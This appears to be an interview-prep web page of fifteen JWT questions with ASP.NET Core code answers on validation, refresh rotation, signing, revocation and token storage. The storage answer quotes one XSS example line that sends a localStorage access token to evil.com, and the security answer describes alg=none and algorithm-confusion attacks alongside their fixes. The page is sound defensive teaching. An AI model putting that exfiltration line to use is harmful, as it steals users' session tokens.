Skip to content

JWT Tokens Interview Questions & Answers

15 questions Updated 2026-06-23 Share:

JWT interview questions — token structure, bearer authentication, TokenValidationParameters, token generation, refresh rotation, and security vulnerabilities.

Read the in-depth guideJWT Authentication in ASP.NET Core(opens in new tab)
15 of 15

A JSON Web Token (JWT) is a compact, URL-safe token that carries signed claims. It consists of three Base64URL-encoded JSON objects separated by dots: header.payload.signature.

// Example JWT (decoded):
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9     ← header
// .eyJzdWIiOiI0MiIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJyb2xlIjoiQWRtaW4iLCJleHAiOjE3MTk5MzkyMDB9  ← payload
// .SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  ← signature

// Header (algorithm + type):
// {
// "alg": "HS256",   // HMAC SHA-256 (symmetric)
// "typ": "JWT"
// }

// Payload (claims):
// {
// "sub":   "42",                   // subject (user ID) — registered claim
// "email": "alice@example.com",    // private claim
// "role":  "Admin",                // private claim
// "iss":   "https://myapp.com",    // issuer — registered claim
// "aud":   "api1",                 // audience — registered claim
// "exp":   1719939200,             // expiry (Unix timestamp) — registered claim
// "iat":   1719935600,             // issued at — registered claim
// "nbf":   1719935600              // not before — registered claim
// }

// Signature — protects header + payload from tampering:
// HMACSHA256(base64url(header) + "." + base64url(payload), secret)

// Key property: payload is NOT encrypted — only signed.
// Anyone can decode the payload; only the key holder can create a valid signature.
// → Never put passwords, PII, or secrets in the payload.

using var handler = new JwtSecurityTokenHandler();
var token = handler.ReadJwtToken(jwtString);      // decode without validation
var sub   = token.Claims.First(c => c.Type == "sub").Value;

Rule of thumb: JWTs are signed, not secret. The signature guarantees integrity — nobody can tamper with the payload without invalidating the signature — but the content is readable by anyone. Encrypt sensitive data before adding it as a claim.

Install Microsoft.AspNetCore.Authentication.JwtBearer, call AddJwtBearer, and set token validation parameters. The middleware reads the Authorization: Bearer <token> header on every request.

// NuGet: Microsoft.AspNetCore.Authentication.JwtBearer

var jwtSettings = builder.Configuration.GetSection("Jwt");
var key         = Encoding.UTF8.GetBytes(jwtSettings["Secret"]!);

builder.Services
    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
    .AddJwtBearer(options =>
    {
        options.TokenValidationParameters = new TokenValidationParameters
        {
            // What to validate:
            ValidateIssuer           = true,
            ValidIssuer              = jwtSettings["Issuer"],    // "https://myapp.com"

            ValidateAudience         = true,
            ValidAudience            = jwtSettings["Audience"],  // "api1"

            ValidateLifetime         = true,                     // check exp claim
            ClockSkew                = TimeSpan.FromSeconds(30), // tolerance for clock drift

            ValidateIssuerSigningKey = true,
            IssuerSigningKey         = new SymmetricSecurityKey(key),
        };

        // Events (optional) — hook into authentication lifecycle:
        options.Events = new JwtBearerEvents
        {
            OnAuthenticationFailed = ctx =>
            {
                // Log token validation failure (don't expose reason to caller):
                var logger = ctx.HttpContext.RequestServices
                    .GetRequiredService<ILogger<Program>>();
                logger.LogWarning("JWT validation failed: {Error}", ctx.Exception.Message);
                return Task.CompletedTask;
            },
        };
    });

builder.Services.AddAuthorization();

var app = builder.Build();
app.UseAuthentication();
app.UseAuthorization();

Rule of thumb: Always validate issuer, audience, lifetime, and the signing key. Skipping any of these creates exploitable gaps — especially ValidateAudience, which prevents tokens issued for one API from being used at another.

Use JwtSecurityTokenHandler (from System.IdentityModel.Tokens.Jwt) to create and sign a token. Return it in the login response; clients include it in subsequent Authorization: Bearer headers.

// Token generation service:
public class JwtTokenService
{
    private readonly IConfiguration _config;

    public JwtTokenService(IConfiguration config) => _config = config;

    public string GenerateAccessToken(User user)
    {
        var jwtSettings = _config.GetSection("Jwt");
        var key         = new SymmetricSecurityKey(
            Encoding.UTF8.GetBytes(jwtSettings["Secret"]!));

        var claims = new List<Claim>
        {
            new Claim(JwtRegisteredClaimNames.Sub,   user.Id.ToString()),
            new Claim(JwtRegisteredClaimNames.Email, user.Email),
            new Claim(JwtRegisteredClaimNames.Jti,   Guid.NewGuid().ToString()), // unique token ID
            new Claim(ClaimTypes.Role,               user.Role),
        };

        var token = new JwtSecurityToken(
            issuer:             jwtSettings["Issuer"],
            audience:           jwtSettings["Audience"],
            claims:             claims,
            notBefore:          DateTime.UtcNow,
            expires:            DateTime.UtcNow.AddMinutes(
                                    int.Parse(jwtSettings["ExpiryMinutes"]!)),
            signingCredentials: new SigningCredentials(key, SecurityAlgorithms.HmacSha256));

        return new JwtSecurityTokenHandler().WriteToken(token);
    }
}

// Login endpoint — validate credentials, return token:
[HttpPost("login")]
public async Task<IActionResult> Login([FromBody] LoginDto dto)
{
    var user = await _userService.ValidateAsync(dto.Email, dto.Password);
    if (user is null) return Unauthorized();

    var accessToken = _tokenService.GenerateAccessToken(user);
    return Ok(new { accessToken, expiresIn = 900 }); // 15 min
}

Rule of thumb: Always include jti (JWT ID) for auditability and revocation support. Keep access token lifetime short (≤ 15 min); long-lived tokens become a liability if leaked.

TokenValidationParameters controls which claims are checked when the middleware validates an incoming token. Missing validations are exploitable attack vectors.

new TokenValidationParameters
{
    // ValidateIssuer — prevents tokens from untrusted issuers:
    // Attack: attacker generates a valid HS256 token with alg=none or different issuer
    ValidateIssuer = true,
    ValidIssuer    = "https://auth.myapp.com",

    // ValidateAudience — prevents token replay across APIs:
    // Attack: token issued for api1 reused against api2
    ValidateAudience = true,
    ValidAudience    = "api1",

    // ValidateLifetime — prevents use of expired tokens:
    ValidateLifetime = true,
    ClockSkew        = TimeSpan.FromSeconds(30), // allow 30s clock drift between servers

    // ValidateIssuerSigningKey — prevents forged tokens:
    ValidateIssuerSigningKey = true,
    IssuerSigningKey         = new SymmetricSecurityKey(key),

    // NameClaimType — controls what User.Identity.Name returns:
    NameClaimType   = JwtRegisteredClaimNames.Sub,  // or ClaimTypes.Name

    // RoleClaimType — controls User.IsInRole():
    RoleClaimType   = ClaimTypes.Role,

    // RequireExpirationTime — reject tokens without exp:
    RequireExpirationTime = true,

    // RequireSignedTokens — reject unsigned (alg=none) tokens:
    RequireSignedTokens = true, // true by default — never set to false
}

Rule of thumb: Never disable ValidateAudience, ValidateLifetime, or RequireSignedTokens. The alg=none vulnerability (accepting unsigned tokens) is a CRITICAL CVE pattern — RequireSignedTokens prevents it.

Refresh tokens are long-lived, opaque credentials stored server-side. When the short-lived access token expires, the client exchanges the refresh token for a new access token — without re-entering credentials.

// Token pair returned at login:
public record TokenResponse(string AccessToken, string RefreshToken, int ExpiresIn);

// Login endpoint — return both tokens:
[HttpPost("login")]
public async Task<IActionResult> Login([FromBody] LoginDto dto)
{
    var user = await _userService.ValidateAsync(dto.Email, dto.Password);
    if (user is null) return Unauthorized();

    var accessToken  = _tokenService.GenerateAccessToken(user);
    var refreshToken = await _refreshTokenStore.CreateAsync(user.Id);
    // refreshToken is a random opaque string stored in DB with expiry (e.g., 30 days)

    return Ok(new TokenResponse(accessToken, refreshToken, ExpiresIn: 900));
}

// Refresh endpoint — exchange refresh token for new access token:
[HttpPost("refresh")]
public async Task<IActionResult> Refresh([FromBody] RefreshDto dto)
{
    var stored = await _refreshTokenStore.GetAsync(dto.RefreshToken);
    if (stored is null || stored.IsRevoked || stored.ExpiresAt < DateTime.UtcNow)
        return Unauthorized("Invalid or expired refresh token");

    // Rotate — invalidate old refresh token, issue new one:
    await _refreshTokenStore.RevokeAsync(dto.RefreshToken);

    var user         = await _userService.GetByIdAsync(stored.UserId);
    var accessToken  = _tokenService.GenerateAccessToken(user!);
    var refreshToken = await _refreshTokenStore.CreateAsync(user!.Id);

    return Ok(new TokenResponse(accessToken, refreshToken, ExpiresIn: 900));
}

// Revoke all tokens on logout:
[HttpPost("logout")]
[Authorize]
public async Task<IActionResult> Logout([FromBody] RevokeDto dto)
{
    await _refreshTokenStore.RevokeAsync(dto.RefreshToken);
    return NoContent();
}

Rule of thumb: Always rotate refresh tokens on each use — issue a new one and invalidate the old one. This detects token theft: if a stolen token is used before the legitimate client, the legitimate client's next request will fail.

Symmetric signing (HMAC) uses one shared secret for both signing and verification. Asymmetric signing (RSA/ECDSA) uses a private key to sign and a public key to verify — the public key can be shared safely.

// Symmetric — HS256 / HS384 / HS512:
// Same secret used to sign and verify — both the token issuer and all resource servers
// must have the secret. If any server is compromised, all tokens are at risk.
var symmetricKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secret));
var signingCreds = new SigningCredentials(symmetricKey, SecurityAlgorithms.HmacSha256);

// Validate with the same key:
options.IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secret));

// Asymmetric — RS256 / RS384 / RS512 / ES256:
// Private key lives only on the auth server.
// Public key is distributed to resource servers (or served via JWKS endpoint).
var rsa        = RSA.Create();
rsa.ImportFromPem(File.ReadAllText("private.pem"));
var privateKey = new RsaSecurityKey(rsa) { KeyId = "key-2024-01" };
var signingCreds = new SigningCredentials(privateKey, SecurityAlgorithms.RsaSha256);

// Resource server validates with public key only:
var rsaPublic = RSA.Create();
rsaPublic.ImportFromPem(File.ReadAllText("public.pem"));
options.IssuerSigningKey = new RsaSecurityKey(rsaPublic);

// JWKS endpoint — automatic public key retrieval (common for identity providers):
options.Authority = "https://auth.myapp.com"; // fetches JWKS from /.well-known/openid-configuration
// No need to configure IssuerSigningKey manually — handler fetches + caches JWKS

Rule of thumb: Use symmetric signing (HS256) when one service issues and verifies tokens (monolith, single API). Use asymmetric signing (RS256/ES256) in microservices or multi-tenant scenarios where multiple services verify tokens but only one issues them.

The JWT bearer middleware parses the token payload and creates a ClaimsPrincipal. It maps standard JWT claim names to WS-Federation long-form ClaimTypes.* URIs by default — which can cause surprising name mismatches.

// Default mapping — JWT claim "sub" becomes:
// ClaimTypes.NameIdentifier = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier"
// JWT "email" → ClaimTypes.Email (long URI)
// JWT "role"  → ClaimTypes.Role  (long URI) — but only if the claim is named "role"

// This default mapping causes confusion. Disable it to use JWT claim names directly:
JwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear(); // clear global mapping
// Now "sub" stays "sub", "email" stays "email"

// Or configure per-handler:
options.MapInboundClaims = false; // .NET 6+ — disables the long URI mapping

// After clearing, read claims by their JWT name:
var sub   = User.FindFirstValue("sub");
var email = User.FindFirstValue("email");

// Custom mapping — map specific JWT names to ClaimTypes:
options.TokenValidationParameters.NameClaimType = JwtRegisteredClaimNames.Sub;
options.TokenValidationParameters.RoleClaimType = "role"; // or "roles"

// Role arrays in the token payload — the handler splits them automatically:
// JWT payload: { "role": ["Admin", "Editor"] }
// Results in two separate ClaimTypes.Role claims in ClaimsPrincipal

// Always test claim reading after changing the mapping:
var roles = User.FindAll(ClaimTypes.Role).Select(c => c.Value).ToList();

Rule of thumb: Call JwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear() or set MapInboundClaims = false when you control both the token issuer and the API. This keeps claim names predictable and matching what's in the token.

The top JWT vulnerabilities are algorithm confusion, token replay, missing validation, and weak secrets. ASP.NET Core's defaults prevent most of these, but misconfiguration undoes the protection.

// 1. alg=none attack — token with no signature accepted:
// Prevention: RequireSignedTokens = true (default)
options.TokenValidationParameters.RequireSignedTokens = true; // never set to false

// 2. Algorithm confusion (RS256 → HS256 swap):
// Attacker uses the server's RSA public key as the HMAC secret.
// Prevention: explicitly specify accepted algorithms:
options.TokenValidationParameters.ValidAlgorithms = new[] { SecurityAlgorithms.RsaSha256 };
// Or use ValidateIssuerSigningKey — asymmetric key rejects HS256 automatically.

// 3. Missing audience validation — token for api1 replayed at api2:
options.TokenValidationParameters.ValidateAudience = true;
options.TokenValidationParameters.ValidAudience    = "api1"; // never skip this

// 4. Weak secrets — HS256 with short/guessable key:
// Attacker can brute-force signatures offline against any captured token.
// Prevention: use ≥ 256-bit (32-byte) cryptographically random secret:
var secret = Convert.ToBase64String(RandomNumberGenerator.GetBytes(32));
// Store in Azure Key Vault / AWS Secrets Manager, not appsettings.json.

// 5. Sensitive data in payload — payload is base64, not encrypted:
// Never include passwords, SSNs, credit card numbers in claims.
// Include only identity/authorization data (sub, email, roles).

// 6. Long-lived access tokens — stolen tokens stay valid:
// Prevention: short expiry (≤ 15 min) + refresh token rotation.
expires: DateTime.UtcNow.AddMinutes(15) // not AddDays(30)

// 7. Insecure storage on the client (localStorage vs HttpOnly cookie):
// localStorage is readable by JavaScript → XSS steals the token.
// HttpOnly cookie is not accessible to JS (but requires CSRF protection).
// For SPAs: prefer HttpOnly, SameSite=Strict cookies for refresh tokens.

Rule of thumb: Treat a JWT as a bearer credential — whoever has it can use it. Keep access tokens short-lived, use RequireSignedTokens, validate audience, and store secrets in a vault. Reject tokens signed with unexpected algorithms.

The server rejects expired tokens automatically via ValidateLifetime = true. On the client, detect the 401 response and use the refresh token to get a new access token before retrying.

// Server — automatic expiry check via TokenValidationParameters:
ValidateLifetime = true,
ClockSkew        = TimeSpan.FromSeconds(30), // 30s tolerance for server clock drift

// When a token is expired, the middleware returns 401 with:
// WWW-Authenticate: Bearer error="invalid_token", error_description="The token is expired"

// Server — JwtBearerEvents to customize the 401 response:
options.Events = new JwtBearerEvents
{
    OnChallenge = ctx =>
    {
        // Suppress default redirect; return structured JSON:
        ctx.HandleResponse();
        ctx.Response.StatusCode  = 401;
        ctx.Response.ContentType = "application/json";
        return ctx.Response.WriteAsJsonAsync(new
        {
            error   = "token_expired",
            message = "Access token has expired. Use the refresh token to get a new one.",
        });
    },
};

// How to check expiry before sending (avoids a round-trip):
var handler   = new JwtSecurityTokenHandler();
var jwtToken  = handler.ReadJwtToken(accessToken);
var expiresAt = jwtToken.ValidTo; // UTC
if (expiresAt < DateTime.UtcNow.AddSeconds(30))
{
    // Proactively refresh before the token expires:
    accessToken = await _authClient.RefreshAsync(refreshToken);
}

Rule of thumb: Add 30 seconds of clock skew on the server to absorb time differences between machines. On the client, refresh proactively 30 seconds before expiry rather than waiting for a 401 — it avoids a failed request + retry round-trip.

Because JWTs are self-contained and the server keeps no state, revoking an individual token requires either a blocklist (server-side store) or shifting to short-lived tokens plus refresh token rotation.

// Approach 1 — server-side blocklist (sacrifices statelessness):
public class TokenBlocklist
{
    private readonly IDistributedCache _cache;

    // Add a token's JTI claim to the blocklist on logout/revoke:
    public async Task RevokeAsync(string jti, DateTimeOffset expiry)
    {
        await _cache.SetStringAsync(
            key:     $"revoked:{jti}",
            value:   "1",
            options: new DistributedCacheEntryOptions
            {
                AbsoluteExpiration = expiry, // entry auto-expires when token would have anyway
            });
    }

    public async Task<bool> IsRevokedAsync(string jti)
        => await _cache.GetStringAsync($"revoked:{jti}") is not null;
}

// Check blocklist in JwtBearerEvents:
options.Events = new JwtBearerEvents
{
    OnTokenValidated = async ctx =>
    {
        var jti      = ctx.Principal!.FindFirstValue(JwtRegisteredClaimNames.Jti);
        var blocklist = ctx.HttpContext.RequestServices.GetRequiredService<TokenBlocklist>();
        if (jti is not null && await blocklist.IsRevokedAsync(jti))
            ctx.Fail("Token has been revoked");
    },
};

// Approach 2 — short-lived access tokens + refresh token rotation:
// Access token: 5–15 min (no need to revoke; just wait it out)
// On logout: revoke only the refresh token in the DB
// Stolen access token is usable for ≤ 15 min — acceptable for most applications

// Approach 3 — reference tokens (opaque):
// Issue an opaque token ID; validate against a DB on every request.
// Full revocation, but adds a DB lookup per request.

Rule of thumb: For most apps, short access tokens (≤ 15 min) + refresh token revocation is the right balance. Implement a blocklist only if you need true immediate revocation (e.g., after a compromised credential event).

Client-side JWT storage has two main options: localStorage/sessionStorage and HttpOnly cookies. Each has distinct security implications.

// Option 1 — localStorage / sessionStorage (SPA default):
// Pros: simple, no CSRF risk, works across tabs (localStorage)
// Cons: readable by ANY JavaScript on the page → XSS attack steals the token
// <script>fetch('https://evil.com?t=' + localStorage.getItem('access_token'))</script>
// If choosing this: implement strict Content-Security-Policy, validate all input

// Option 2 — HttpOnly cookie (backend sets the cookie):
// Return access/refresh tokens in HttpOnly, Secure, SameSite=Strict cookies:
[HttpPost("login")]
public async Task<IActionResult> Login([FromBody] LoginDto dto)
{
    var user    = await _userService.ValidateAsync(dto.Email, dto.Password);
    if (user is null) return Unauthorized();

    var accessToken  = _tokenService.GenerateAccessToken(user);
    var refreshToken = await _refreshStore.CreateAsync(user.Id);

    // HttpOnly — JS cannot read this cookie:
    Response.Cookies.Append("access_token", accessToken, new CookieOptions
    {
        HttpOnly  = true,
        Secure    = true,         // HTTPS only
        SameSite  = SameSiteMode.Strict,
        Expires   = DateTimeOffset.UtcNow.AddMinutes(15),
    });
    Response.Cookies.Append("refresh_token", refreshToken, new CookieOptions
    {
        HttpOnly  = true,
        Secure    = true,
        SameSite  = SameSiteMode.Strict,
        Expires   = DateTimeOffset.UtcNow.AddDays(30),
        Path      = "/api/auth/refresh", // limit cookie scope to refresh endpoint
    });

    return Ok(new { message = "Logged in" });
}

// Pros: immune to XSS token theft
// Cons: CSRF attack possible — mitigate with SameSite=Strict + CSRF tokens for mutations
// JWT bearer middleware can read from cookies:
options.Events = new JwtBearerEvents
{
    OnMessageReceived = ctx =>
    {
        ctx.Token = ctx.Request.Cookies["access_token"];
        return Task.CompletedTask;
    },
};

Rule of thumb: Store JWTs in HttpOnly, Secure, SameSite=Strict cookies to defend against XSS. Use localStorage only if the app has strong CSP and you accept the XSS risk. Never store tokens in sessionStorage across multiple tabs.

A JSON Web Key Set (JWKS) endpoint exposes the public keys of an identity provider as a JSON document. ASP.NET Core's JWT bearer handler fetches and caches these keys automatically, so you don't need to ship the public key with your application.

// JWKS document served at /.well-known/jwks.json:
// {
//   "keys": [
//     {
//       "kty": "RSA",
//       "kid": "key-2024-01",     // key ID — matches the JWT header "kid"
//       "n":   "<modulus>",
//       "e":   "AQAB",
//       "alg": "RS256",
//       "use": "sig"
//     }
//   ]
// }

// ASP.NET Core — configure via Authority (OIDC discovery document):
builder.Services
    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
    .AddJwtBearer(options =>
    {
        // Handler fetches /.well-known/openid-configuration, then the jwks_uri from it:
        options.Authority = "https://auth.myapp.com";
        options.Audience  = "api1";
        // No need to configure IssuerSigningKey — fetched and cached automatically.
        // Keys are refreshed when a token arrives with an unknown "kid" claim.
    });

// Manual JWKS — when you control the identity provider and serve keys directly:
builder.Services
    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
    .AddJwtBearer(options =>
    {
        options.TokenValidationParameters = new TokenValidationParameters
        {
            ValidateIssuerSigningKey = true,
            // The handler fetches and parses this JWKS endpoint:
            IssuerSigningKeyResolver = (token, securityToken, kid, parameters) =>
            {
                // Custom resolver — fetch keys from your own endpoint:
                var client = new HttpClient();
                var response = client.GetStringAsync("https://auth.myapp.com/.well-known/jwks.json").Result;
                var keys = new JsonWebKeySet(response);
                return keys.GetSigningKeys();
            },
            ValidateIssuer   = true,
            ValidIssuer      = "https://auth.myapp.com",
            ValidateAudience = true,
            ValidAudience    = "api1",
        };
    });

// Key rotation — the "kid" header in each JWT tells the handler which key to use.
// When a new kid is seen, the handler re-fetches the JWKS to pick up the new key.

Rule of thumb: Prefer Authority over manual IssuerSigningKey when using a standards-compliant identity provider (Auth0, Okta, Azure AD, Keycloak). The handler manages key caching and rotation automatically, reducing operational overhead.

Set ValidAudiences (plural) in TokenValidationParameters to accept tokens that carry any of the listed audience values. The token's aud claim must match at least one entry.

// Single audience — most common, most secure:
options.TokenValidationParameters = new TokenValidationParameters
{
    ValidateAudience = true,
    ValidAudience    = "api1",
};

// Multiple valid audiences — accept tokens for api1 OR api2:
options.TokenValidationParameters = new TokenValidationParameters
{
    ValidateAudience = true,
    ValidAudiences   = new[] { "api1", "api2", "https://myapp.com/api" },
    // The token's aud claim (string or array) must contain at least one of these.
};

// Note: the JWT spec allows aud to be a string or a JSON array:
// "aud": "api1"                    // single audience
// "aud": ["api1", "api2"]          // multiple — token is valid for both
// ASP.NET Core handles both forms automatically.

// Per-endpoint scheme with a different audience — use separate schemes:
builder.Services
    .AddAuthentication()
    .AddJwtBearer("InternalApi", options =>
    {
        options.Authority = "https://auth.myapp.com";
        options.Audience  = "internal-api";
    })
    .AddJwtBearer("ExternalApi", options =>
    {
        options.Authority = "https://auth.myapp.com";
        options.Audience  = "external-api";
    });

// Apply a specific scheme to an endpoint:
[Authorize(AuthenticationSchemes = "InternalApi")]
[HttpGet("internal/report")]
public IActionResult InternalReport() => Ok();

// Warning: never set ValidateAudience = false in production —
// it allows tokens issued for any audience to access your API.

Rule of thumb: Keep the audience list as narrow as possible — ideally one value per API. If you need to accept tokens from multiple issuers or audiences, use separate named schemes with distinct configurations rather than widening a single scheme.

The On-Behalf-Of (OBO) flow (OAuth 2.0 Token Exchange) lets a service exchange a user's access token for a new token scoped to a downstream service — propagating the user's identity through a chain of microservices without sharing the original token.

// Scenario: Client → Service A (receives token for aud=api-a)
//           Service A → Service B (needs token for aud=api-b, still as the user)

// Service A calls Azure AD OBO endpoint to exchange its token:
public class DownstreamTokenService
{
    private readonly IHttpClientFactory _httpFactory;
    private readonly IConfiguration    _config;

    public DownstreamTokenService(IHttpClientFactory http, IConfiguration config)
    {
        _httpFactory = http;
        _config      = config;
    }

    public async Task<string> GetTokenForServiceBAsync(string incomingAccessToken)
    {
        var client = _httpFactory.CreateClient();

        // OBO grant — exchange the incoming token for a downstream token:
        var response = await client.PostAsync(
            $"https://login.microsoftonline.com/{_config["AzureAd:TenantId"]}/oauth2/v2.0/token",
            new FormUrlEncodedContent(new Dictionary<string, string>
            {
                ["grant_type"]            = "urn:ietf:params:oauth:grant-type:jwt-bearer",
                ["client_id"]             = _config["AzureAd:ClientId"]!,
                ["client_secret"]         = _config["AzureAd:ClientSecret"]!,
                ["assertion"]             = incomingAccessToken, // the token Service A received
                ["scope"]                 = "api://service-b/.default",
                ["requested_token_use"]   = "on_behalf_of",
            }));

        var json = await response.Content.ReadFromJsonAsync<JsonElement>();
        return json.GetProperty("access_token").GetString()!;
    }
}

// In Service A's controller — get the incoming token and exchange it:
[HttpGet("aggregate")]
[Authorize]
public async Task<IActionResult> Aggregate()
{
    // Read the incoming Bearer token from the request header:
    var incomingToken = Request.Headers.Authorization.ToString()["Bearer ".Length..];
    var serviceBToken = await _downstreamTokenService.GetTokenForServiceBAsync(incomingToken);

    // Call Service B with the new token:
    _httpClient.DefaultRequestHeaders.Authorization =
        new AuthenticationHeaderValue("Bearer", serviceBToken);
    var result = await _httpClient.GetAsync("https://service-b/api/data");
    return Ok(await result.Content.ReadAsStringAsync());
}

Rule of thumb: Use OBO when you need to propagate the end-user's identity through service-to-service calls. If the downstream call does not need user context (it is a background/system call), use client credentials instead — OBO adds unnecessary token exchange overhead for system-to-system scenarios.

Every HTTP request carries the JWT in the Authorization header. Large tokens increase header size, add Base64 decoding overhead, and can exceed web server header limits. Common causes are too many claims and verbose claim names.

// Problem — bloated token with long claim names and many values:
var claims = new[]
{
    new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier", userId),
    new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", email),
    new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", "Admin"),
    new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", "Editor"),
    // ... 20 more role claims ...
    // Result: token ~2 KB, repeated on every request
};

// Better — short registered claim names (sub, email) + compact custom names:
var claims = new[]
{
    new Claim(JwtRegisteredClaimNames.Sub,   userId),   // "sub"
    new Claim(JwtRegisteredClaimNames.Email, email),    // "email"
    new Claim("roles", "Admin,Editor"),                 // one claim, comma-joined
    // Or embed only a role ID; resolve permissions server-side via cache
};

// Clear the default long-name mapping so short names survive round-tripping:
JwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear();
// Note: after clearing, read with the short name: User.FindFirstValue("sub")

// For high-traffic APIs — omit non-essential claims from the access token:
// Put display name, preferences, etc. in the ID token (OIDC) — not the access token.
// Access token should carry only what authorization decisions need:
// sub, roles/permissions, aud, exp — nothing more.

// When claims are unavoidably large — use reference tokens (opaque IDs):
// Issue a random opaque token; store claims server-side in a fast cache (Redis).
// Validate by looking up the token ID — one cache hit per request instead of large header.
// Trade-off: stateful, but headers stay tiny regardless of claim count.

Rule of thumb: Access tokens should carry only what is needed for authorization — subject, audience, expiry, and roles or permissions. Target under 512 bytes. Move profile data to the ID token or a /userinfo endpoint, and use short registered claim names.

More ways to practice

The self-quiz is live. Get notified when mock interviews and new question packs drop.

or
Join our WhatsApp Channel